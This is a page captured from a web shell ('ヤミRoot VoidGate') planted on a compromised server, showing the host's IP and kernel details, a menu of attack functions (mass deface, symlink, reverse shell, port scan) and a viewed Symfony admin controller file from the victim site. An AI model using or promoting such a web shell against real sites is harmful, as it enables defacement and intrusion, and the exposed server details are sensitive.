ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Admin
/
Viewing: ActualiteCrudController.php
<?php namespace App\Controller\Admin; use App\Entity\Actualite; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Vich\UploaderBundle\Form\Type\VichImageType; class ActualiteCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Actualite::class; } public function configureFields(string $pageName): iterable { $token = new UsernamePasswordToken($this->getUser(), "main", "common", $this->getUser()->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getCurrentRequest(), $token); $this->eventDispatcher->dispatch( $event); /* TextField::new('title'), TextEditorField::new('description'), MoneyField::new('price')->setCurrency('EUR'), IntegerField::new('stock'), DateTimeField::new('publishedAt'), EmailField::new('email')->hideOnIndex(), IdField::new('id')->hideOnForm(), AssociationField::new('...')->renderAsNativeWidget(); yield AssociationField::new('...')->setCrudController(SomeCrudController::class); * */ return [ ImageField::new('cover') ->setBasePath($this->getParameter('app.path.media_object'))->onlyOnIndex(), TextField::new('newTitleFr')->hideOnIndex(), TextField::new('newTitleEn'), TextField::new('newTitleEs')->hideOnIndex(), TextEditorField::new('contentFr')->hideOnIndex(), TextEditorField::new('contentEn'), TextEditorField::new('contentEs')->hideOnIndex(), AssociationField::new('cover')->onlyOnForms(), AssociationField::new('picture1')->hideOnIndex(), AssociationField::new('picture2')->hideOnIndex(), BooleanField::new('publish'), DateTimeField::new('createdAt')->hideOnForm(), AssociationField::new('createdBy') ]; } }
Coded With 💗 by
0x6ick